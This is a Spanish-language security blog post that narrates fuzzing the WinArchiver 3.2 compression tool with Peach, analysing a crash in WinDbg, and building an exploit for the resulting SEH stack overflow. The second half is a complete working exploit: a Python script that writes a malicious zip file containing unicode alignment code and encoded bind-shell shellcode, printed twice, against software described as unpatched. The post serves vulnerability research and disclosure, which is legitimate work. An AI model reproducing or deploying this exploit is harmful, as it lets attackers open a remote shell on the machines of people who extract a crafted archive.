lunes, 29 de abril de 2013

0DAY BUG HUNTING REALPENTESTING


Realpentesting está de bug hunting !

Hemos decidido empezar desde Abril a fuzzear y explotar vulnerabilidades en software de todo tipo y hemos decidido ir compartiendo los 0days que hemos ido encontrando, los que podemos publicar por ahora estarán listados en la pestaña "advisories" y también estaránsubidos en exploit-db.

En concreto en esta entrada vamos a hablar de una de varias vulnerabilidades críticas que hemos encontrado en Winarchiver.Winarchiver es una aplicación de pago de compresión y descompresión http://www.winarchiver.com/.

Esta versión de software es bastante reciente (16 de Abril de 2013) tal y como podemos ver en su web.
Vamos a ir describiendo el proceso desde el fuzzing hasta el exploit. Para fuzzear esta aplicación hemos usado el fabuloso framework Peach.

Para quien quiera aprender a utilizar peach, aquí hay un tutorial muy bueno. http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/

Lo que hacemos es ir mutando todo tipo de headers y flags del format file de los ficheros zip.
Los templates de Peach se dividen en 5 partes:

El DataModel es donde se define la estructura de lo que vamos a fuzzear. En nuestro caso es un zip. Este modelo de datos es exactamente igual que el tutorial que anteriormente hacemos referencia.

En el state model indicamos que vamos a fuzzear este modelo de datos utilizando como fichero base el fichero test.zip que deber ser un fichero zip cualquiera correctamente formado.


<StateModel name="TheState" initialState="Initial"> <!-- En este caso se utiliza de fichero incial sobre el que fuzzear el fichero test.zip -->
    <State name="Initial">
      <Action type="output">
        <DataModel ref="ZipFileFormat"/>
        <Data name="data" fileName="C:\peachfuzz\test.zip"/>
      </Action>
      <Action type="close"/>
      <Action type="call" method="ScoobySnacks"/>
        </State>
  </StateModel>


Por otro lado tenemos el agent que en nuestro caso definiremos que será local utilizando un debugger (windbg) e indicando con las siguientes líneas que lo vamos a attachear:



<Agent name="LocalAgent">
<Monitor class="debugger.WindowsDebugEngine"> <!-- En este caso attacheamos el proceso WinArchiver.exe -->
<Param name="ProcessName" value="WinArchiver.exe" />
<Param name="StartOnCall" value="ScoobySnacks"/>
</Monitor>
    <Monitor class="process.PageHeap">
      <Param name="Executable" value="WinArchiver.exe"/>
    </Monitor>
  </Agent>

Finalmente tenemos el Test y el run. El primero indica el tipo de pruebas que se va a realizar y el run es la prueba que vamos a ejecutar en el momento de fuzzearlo. En el run también se definen donde se guardarán los logs y trazas de los crashes una vez se encuentren. (en nuestro caso logtest).


<Test name="TheTest">
    <Strategy class="rand.RandomMutationStrategy" switchCount="1500" maxFieldsToMutate="7"/>
    <Agent ref="LocalAgent"/> 
    <StateModel ref="TheState"/>
    <Publisher class="file.FileWriterLauncher"> <!-- En este caso se guarda como fuzzed.zip utilizando el publisher de file format -->
      <Param name="fileName" value="fuzzed.zip" />
      <Param name="debugger" value="true"/>
    </Publisher>
  </Test>



<Run name="DefaultRun"> <!-- El run indica que se realizará la prueba "TheTest" almacenando los crash en la carpeta logtest -->
    <Test ref="TheTest"/>
    <Logger class="logger.Filesystem">
       <Param name="path" value="logtest"/>
    </Logger>
  </Run>
</Peach>



Adjunto puede encontrarse el template completo winarchiver.xml.
LINK

Después de ponerlo en funcionamiento nos dimos cuenta de que una vez que se obtenía un crash la “única” manera posible de obtener el fichero de zip responsable del crash era realizando el siguiente comando:


 python peach.py -1 --skip {numero de prueba} template.xml.

Pero también nos dimos cuenta de que esto no funcionaba del todo bien ya que si utilizábamos una estrategia aleatoria, no conseguíamos generar los zips correspondientes de cada prueba. Por lo que estuvimos mirando el código de peach para terminar modificando 2 funcionalidades:
  • Nos gustaba que apareciera el estado del seh chain en las trazas de windbg(!exchain)
  • Además sería muy bueno que tuviéramos el fichero zip que ocasiona el crash dentro del propio directorio de logs , dentro de la carpeta de cada “crash”
Tras estos dos objetivos nos pusimos manos a la obra y finalmente modificamos un poquito el fichero debugger.py y el logger.py ambos dentro de la carpeta Peach.

Para conseguir que se mostrara el estado del SEH Chain realizamos el siguiente cambio:
En la línea 244 del fichero debugger.py
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p(".load %s\\msec.dll" % p), DbgEng.DEBUG_EXECUTE_ECHO)
-->dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exchain"), DbgEng.DEBUG_EXECUTE_ECHO)
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!msec.exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)
Para conseguir que se guardara el fichero zip que hacia crash:
En la línea 276 del fichero logger.py añadimos
filename = os.path.join(path, "fuzzed.zip")
shutil.copyfile("fuzzed.zip",filename)


Luego nos encontramos con varios problemas, y es que para poder fuzzearlo desde el interfaz gráfico , teníamos que utilizar algunas macros para que una vez abierto el programa, nuestra macro pulse algunos botones determinados de la aplicación para que intente descomprimir el fichero, ya que con solo abrir la  aplicación con el fichero .zip no es suficiente.

AutoIt3 es una aplicación que permite de una manera sencilla realizar tareas que se repitan y además generar un fichero ejecutable. Lo que necesitábamos en este caso es que una vez que el entorno gráfico de winarchiver estuviese en pantalla, de forma automatizada nuestra macro intente extraer el fichero como si lo hiciésemos nosotros mismos con el ratón y teclado.

Estos son los pasos que realiza la macro desde un punto de vista más gráfico:

Una vez abierta la aplicación, saltará un popup de licencia, la macro pulsará en “continuar sin registrar”




Luego, para extraer el fuzzed.zip que ha abierto nuestro script vbs, tenemos que ir a “acción” y luego extraer con el ratón:



Despues debemos de darle al botón “OK” para que extraiga el fichero en la ruta que tiene ya guardada winarchiver:



Y por último pero no menos importante, si nos salta que ya existe el fichero (algo que pasará muy a menudo) hay que darle a que “Si” para que sobreescriba el fichero actual, si no hiciéramos esto, nos podríamos perder muchos crashes de la aplicación.

Al final la macro nos quedó así:
Func _WinWaitActivate($title,$text,$timeout=0)
 WinWait($title,$text,$timeout)
 If Not WinActive($title,$text) Then WinActivate($title,$text)
 WinWaitActive($title,$text,$timeout)
EndFunc

While True
_WinWaitActivate("WinArchiver","Ingresar código") #esperamos a que se muestre lo del trial
Send("{DOWN}{DOWN}{DOWN}{ENTER}") #hacemos click en continuar
Send("{ENTER}")
If(WinExists("WinArchiver(Copia sin registrar) - ")) Then #si aparece la ventana de winarchiver
   _WinWaitActivate("WinArchiver(Copia sin registrar) - ","") #esperamos a que sea el foco.
   Send("{DOWN}{UP}{ALTDOWN}a{ALTUP}{RIGHT}{RIGHT}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}") #lo mandamos a extraer
   If(WinExists("Extraer","Archivos &selecciona")) Then
   _WinWaitActivate("Extraer","Archivos &selecciona") #si aparece la ventana de extraer damos enter al OK que ya está marcado por defecto
   Send("{ENTER}")
   If(WinExists("WinArchiver","")) Then
   _WinWaitActivate("WinArchiver","")
   Send("{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{ENTER}") # Si salta la ventana de reemplazar archivo, seleccionamos “Si” y pulsamos enter.
   EndIf
EndIf
EndIf
WEnd
Como se ha comentado anteriormente en el template .xml de peach, estamos attacheando el proceso winarchiver.exe en vez de abrirlo con el debugger, esto es por que la aplicación se comportaba de forma distinta cuando se abría directamente con el debugger y observamos como attacheandolo se comportaba de forma q pudiesemos fuzzearlo. El proceso winarchiver.exe va a ser abierto y monitorizado por un script que hemos creado de visual basic que lo que hace es mirar si esta ejecutándose y si no, lo ejecuta abriendo el fichero fuzzeado por Peach (fuzzed.zip) script.vbs:
While counter > 0
  wscript.sleep 3000
  Set WshShell = WScript.CreateObject ("WScript.Shell")
  Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
  i = 0
  For Each objProcess in colProcessList
     if objProcess.name = "WinArchiver.exe" then
        i=i+1
     End if
  Next
  If i=1 then
  
  Else
     WshShell.Run ("""C:\Archivos de Programa\WinArchiver\WinArchiver.exe ""C:\Peach2.3\fuzzed.zip""""")
  End If
  vFound = False
Wend
Una vez tenemos nuestro entorno de fuzzing preparado lo lanzamos, ejecutando primero la macro.exe , luego el peach, que se quedará esperando para attachear el proceso de winarchiver.exe y cuando veamos que estará esperando al proceso ( tiene 10 intentos) ejecutamos rápidamente nuestro .vbs que al detectar que el proceso no está levantado lo levantará con el fuzzed.zip generado por peach y empezará todo el proceso. Al cabo de unas 24 horas fuzzeando aproximadametne, nos encontramos con un crash exploitable, uno en el que claramente se ve que se ha provocado un desbordamiento del manejador de excepciones (SEH).
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: SRV*http://msdl.microsoft.com/download/symbolsExecutable search path is:

ModLoad: 00400000 00671000   C:\Archivos de Programa\WinArchiver\WinArchiver.exe
ModLoad: 7c910000 7c9c8000   C:\WINDOWS\system32\ntdll.dll
id: ee4 attach name: C:\Archivos de Programa\WinArchiver\WinArchiver.exe
ModLoad: 7c800000 7c903000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77f40000 77fb6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77da0000 77e4c000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e50000 77ee3000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fc0000 77fd1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 77ef0000 77f39000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e390000 7e421000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77be0000 77c38000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 76b00000 76b2e000   C:\WINDOWS\system32\WINMM.dll
ModLoad: 72f80000 72fa6000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 7e6a0000 7eec1000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 773a0000 774a3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll
ModLoad: 774b0000 775ee000   C:\WINDOWS\system32\ole32.dll
ModLoad: 770f0000 7717b000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 77180000 7722b000   C:\WINDOWS\system32\WININET.dll
ModLoad: 77a50000 77ae6000   C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77af0000 77b02000   C:\WINDOWS\system32\MSASN1.dll
ModLoad: 5b150000 5b188000   C:\WINDOWS\system32\UXTHEME.DLL
ModLoad: 10000000 100b0000   C:\Archivos de programa\WinArchiver\7z.dll
ModLoad: 76330000 76335000   C:\WINDOWS\system32\msimg32.dll
ModLoad: 746b0000 746fc000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 597f0000 59845000   C:\WINDOWS\system32\netapi32.dll
ModLoad: 77b10000 77b32000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 76f90000 7700f000   C:\WINDOWS\system32\CLBCATQ.DLL
ModLoad: 77010000 770e0000   C:\WINDOWS\system32\COMRes.dll
ModLoad: 77bd0000 77bd8000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 7e210000 7e383000   C:\WINDOWS\system32\shdocvw.dll
ModLoad: 76890000 76914000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76bf0000 76c1e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c50000 76c78000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f20000 76f4d000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 7df20000 7dfc3000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 778f0000 779e7000   C:\WINDOWS\system32\SETUPAPI.dll
ModLoad: 779f0000 77a45000   C:\WINDOWS\System32\cscui.dll
ModLoad: 765b0000 765cd000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 03cf0000 03fc6000   C:\WINDOWS\system32\xpsp2res.dll
(ee4.9e8): Access violation - code c0000005 (first chance)

r

eax=00000041 ebx=000017a6 ecx=043b0000 edx=7fffdf41 esi=043aed84 edi=043aed58
eip=004e64cb esp=043ae8cc ebp=043ae8d0 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
*** ERROR: Module load completed but symbols could not be loaded for C:\Archivos de Programa\WinArchiver\WinArchiver.exe
WinArchiver+0xe64cb:
004e64cb 668901          mov     word ptr [ecx],ax        ds:0023:043b0000=???? -> instrucción que provoca el overflow
rF
fpcw=027F: rn 53 puozdi  fpsw=0000: top=0 cc=0000 --------  fptw=FFFF
fopcode=0492  fpip=0000:00000000  fpdp=0000:00000000
st0= 0.006573242701799395090e-0306  st1=-0.000000000000000003060e+4112
st2= 3.315545808965230580700e-4932  st3= 0.585864538478113307190e-4933
st4= 3.315545862195673984010e-4932  st5= 0.019451969634699875940e-4933
st6= 2.438156854804684311930e-4929  st7=-4.665158646486517195140e-1557
WinArchiver+0xe64cb:
004e64cb 668901          mov     word ptr [ecx],ax        ds:0023:043b0000=????

rX
xmm0=6.16534e+037 1.73655e-039 6.18886e+037 1.73649e-039
xmm1=1.73646e-039 6.16538e+037 1.73655e-039 1.#QNAN
xmm2=1.27831e-037 6.18886e+037 1.68156e-044 6.16535e+037
xmm3=0 0 1.4013e-045 2.8026e-044
xmm4=0 0 0 2.24208e-044
xmm5=7.2981e-039 1.73644e-039 1.4013e-045 0
xmm6=-1.#QNAN 6.16536e+037 6.24796e+037 1.73686e-039
xmm7=6.18886e+037 0 6.20169e+037 6.16535e+037

WinArchiver+0xe64cb:
004e64cb 668901          mov     word ptr [ecx],ax        ds:0023:043b0000=????

kb
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
043ae8d0 004e1929 00000041 043aed84 004e1993 WinArchiver+0xe64cb
043aed6c 004def3a 043aed84 00553eea 043afdcc WinArchiver+0xe1929
043aeda4 0047660d 043aedbc 00553ee0 043afdc4 WinArchiver+0xdef3a
043aedb4 004a2069 00780045 00720074 00790061 WinArchiver+0x7660d
043afdc4 00410041 00410041 00410041 00410041 WinArchiver+0xa2069
043afdc8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdcc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afddc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdec 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdfc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afe00 00410041 00410041 00410041 00410041 WinArchiver+0x10041

.load C:\Peach2.3\tools\bangexploitable\x86\msec.dll

!exchain    ----------------------------> Nuestro exchain que hemos añadido a peach.
043aff0c: WinArchiver+10041 (00410041)  ---> Owned ! hemos sobre-escrito con "A" y en unicode el SEH
Invalid exception stack at 00410041
!exploitable -m
IDENTITY:HostMachine\HostUser
PROCESSOR:X86
CLASS:USER
QUALIFIER:USER_PROCESS
EVENT:DEBUG_EVENT_EXCEPTION
EXCEPTION_FAULTING_ADDRESS:0x43b0000
EXCEPTION_CODE:0xC0000005
EXCEPTION_LEVEL:FIRST_CHANCE
EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION
EXCEPTION_SUBTYPE:WRITE
MAJOR_HASH:0x68140f13
MINOR_HASH:0x0a520157
STACK_DEPTH:64
STACK_FRAME:WinArchiver+0xe64cb
STACK_FRAME:WinArchiver+0xe1929
STACK_FRAME:WinArchiver+0xdef3a
STACK_FRAME:WinArchiver+0x7660d
STACK_FRAME:WinArchiver+0xa2069
STACK_FRAME:WinArchiver+0x10041
STACK_FRAME:WinArchiver+0x10041
INSTRUCTION_ADDRESS:0x00000000004e64cb
INVOKING_STACK_FRAME:0
DESCRIPTION:User Mode Write AV
SHORT_DESCRIPTION:WriteAV
CLASSIFICATION:EXPLOITABLE
BUG_TITLE:Exploitable - User Mode Write AV starting at WinArchiver+0x00000000000e64cb (Hash=0x68140f13.0x0a520157)
EXPLANATION:User mode write access violations that are not near NULL are exploitable.!msec.exploitable -m

Bien, es un claro SEH overflow (también es un stack based overflow) pero vamos a analizar con 010 binary editor que se ha fuzzeado en nuestro zip comparandolo con un zip normal. Si abrimos un fichero normal zip (test.zip) y nuestro fuzzed.zip que ocasiona el overflow, podemos compararlos y ver las diferencias:


Ahora vamos a identificar la parte que se ha fuzzeado de este fichero zip:


Como se aprecia se en este zip se han fuzzeado bastantes secciones aunque en concreto lo que parece que ha ocasionado la vulnerabilidad es el fuzzeo del nombre del directorio y nombre del fichero.
Por supuesto peach lo ha fuzzeado de forma correcta de forma que el formato Zip sea correcto y no falle al abrir el fichero.
Por último, ya nos podemos poner manos a la mesa y desarrollar un exploit funcional para la vulnerabilidad encontrada.
Para quien no tenga ni idea de desarrollar exploits para unicode, de obligada lectura el siguiente enlace de corelan: https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
Lo primero que tenemos que hacer es generarnos a partir de nuestro fuzzed.zip un script en python que reproduzcla el mismo fichero, exportando a hexadecimal el fuzzed.zip con 010 binary editor nos ayudará bastante en esta tarea:
#/usr/bin/python
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)

Hemos decidido llamar la parte que va antes del nombre del fichero como "zip_header" y la que va justo despues como "zip_final".
Continuamos:
seh = "\x31\x48" #ppr 0x00480031 # sobreescribimos SEH con un pop pop ret que se encuentra en una direccion de memoria compatible con unicode
nextseh = "\x58\x70"   # sobreescribimos nextseh con una instruccion que nos permita continuar con el flujo de ejecución.

A continuacion "venetian" es un conjunto de instrucciones que hemos realizado para preparar la ejecución de nuestra venetian shellcode, más adelante veremos como funciona con el debugger.
Simplemente prepara el registro EAX para que apunte al inicio de la venetian shellcode, todo ello con instrucciones compatibles con unicode:
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
#venetian shellcode generada alpha3 con registro base EAX(./alpha2 eax --unicode --uppercase < bind_shell.raw )
shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" )
A continuación, nuestro buffer , que junto a los calculos que tuvimos que ir haciendo sobre la marcha, para manipular el SEH y posicionar nuestra venetian shellcode y que con nuestros calculos de "venetian" el registro EAX apunte al inicio de la shellcode.
buffer = "\x41" * (421) + shellcode + "\x41" * (2205-421-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian)) print len(buffer) payload = buffer mefile = open('seh_winarch.zip','w') mefile.write(zip_header + buffer + zip_final) mefile.close()
El exploit nos genera un zip y vamos a ver con el debugger paso a paso que es lo que hacemos.
Lo primero a tener en cuenta es que una vez abrimos con el winarchiver el zip hay que darle a boton secundario y darle a extraer, si le damos doble click la aplicación crashea de otra forma distinta. 
Vamos a ir viendolo paso a paso con el debugger:
Si ponemos un breakpoint en nuestro pop pop ret (0x00480031) podemos empezar a ver el funcionamiento de nuestro exploit:
Una vez intentamos descomprimir el fichero y pasamos la primera excepción (shift+F9) entraremos en nuestro breakpoint.Si pasamos estas 3 instrucciones con F7 llegamos a las instrucciones compatibles con unicode que hemos metido en "nextseh":
nextseh = "\x58\x70"


Vemos como se ejecuta un "POP EAX" que no es dañino y luego entra nuestro \x70 que por ser transformado en unicode queda en 007000 que es la instruccion ADD [EAX],DH que tampoco es dañina.
Despues vemos las siguientes opcodes (3100 y 48), que pertenecen a los digitos de la dirección de memoria (0x00480031) que pertenece al pop pop ret y que hemos introducido en SEH y por supuesto tampoco son dañinas las instrucciones
Si lo fueran , tendriamos que utilizar otra dirección de memoria unicode cuyos caracteres no correspondan a opcodes de instrucciones que rompan el flujo de ejecución:
Ahora llega la parte de nuestro "venetian", recordemos, que esta parte tiene la instrucciones necesarias para que el registro EAX apunte exactamente al inicio de nuestra venetian shellcode:
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)

Vemos que nuestro primer 55 es en realidad 005500 por la transformacion unicode y el siguiente 55 queda solo por lo que queda: 

005500 ADD [EBP],DL **** Aqui estamos usando el 55 como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode
Y en este caso la siguiente instruccion sin 00 de unicode es un 55 , que corresponde a un PUSH EBP, el cual necesitamos para ir preparando el hecho de que EAX apunte al inicio de nuestra shellcode.

55 PUSH EBP 

Continuamos: 

007000 ADD [EAX],DH **** Aqui como en el caso anterior estamos usando el 70 (podriamos haber seguido usando el 55 justo como el caso anterior) como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode.

Y en este caso la siguiente instruccion sin 00 de unicode es un 58 , que corresponde a un POP EAX, ya tenemos en EAX un direccion CERCANA al inicio de la shellcode, pero no es la direccion exacta! 

58 POP EAX 


Siguiente: 

0070000 ADD [EAX],DH ****  igual que los "pseudo nop" anteriores

0500250011 ADD EAX,11002500 Operacion de SUMA sobre EAX para que apunte al inicio de nuestra shellcode, seran necesarias una suma y una resta.
Esto lo hacemos jugando con las posibles sumas y restas que podemos hacer utilizando opcodes compatibles con unicode. 

005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores 

2D00190011 SUB EAX,11001900 Operacion de RESTA sobre EAX para que apunte justo al inicio de nuestra shellcode. 


Ahora hay que tener una serie de datos a tener en cuenta para seguir continuando.
Llegados a este punto nos dimos cuenta que tal y como es este overflow, llegamos a la direccion de memoria máxima permitida para la pila del proceso, y si nos fijamos desde donde estamos, tenemos un tamaño de buffer muy pequeño donde no cabía la shellcode:



Si hubiesemos podido poner la venetian shellcode justo despues de las instrucciones de "venetian" simplemente hubiese sido seguir que ejecutara las instrucciones , pero como no es el caso se complica un poquito la cosa, necesitamos poder saltar a donde apunta EAX (recordemos que EAX = inicio de shellcode) 

Pero solo podemos ejecutar instrucciones de un byte (por la transformacion de unicode) por lo que vamos a tener que encontrar algo que nos pueda servir.

Finalmente optamos por utilizar un PUSH EAX (50) y un RETN (C3) que son instrucciones de 1 byte y nos permite saltar a donde apunta EAX. 
Pero nos encontramos otro problema ! si metemos C3 podemos ver como el C3 es transformado en "1C25" ! Badchars ?? No ! Unicode transformation !

Si nos fijamos en la tabla de Unicode de más abajo podemos ver como el caracter representado por "C3" es transformado a "1C25" , no problemo, si nos volvemos a fijar en la tabla, el "C7" se transforma en "C3" que es el que necesitamos para nuestra instruccion RETN, por lo que introducimos un C7. Tabla completa -> http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf  


Por lo que las ultimas instrucciones son: 50 PUSH EAX 005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores C7 -> transformado en memoria C3 = RETN Y podemos observar justo cuando se va a ejecutar el RETN como EAX apunta al inicio de la venetian Shellcode:



Y si seguimos la ejecución (F9) Veremos como nuestra bindshell esta esperando impacientemente a que conectemos.. bang !!!




Exploit completo:
#/usr/bin/python
# Real pentesting: Josep Pi , Pedro Guillen , Miguel A. de Castro
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Software Link: http://winarchiver.com
# Affected Versions: 3.2 and previous version may also affected
# There is no patch from vendor
# Tested on: Windows XP SP3
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer =  "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()

2 comentarios:

  1. Hola, que puede ser esto que se registra?

    Stack unwind information not available. Following frames may be wrong.
    ChildEBP RetAddr Args to Child

    No puedo acceder al panel de control.
    Es que el adminnistrador lo ha blindado?

    ResponderEliminar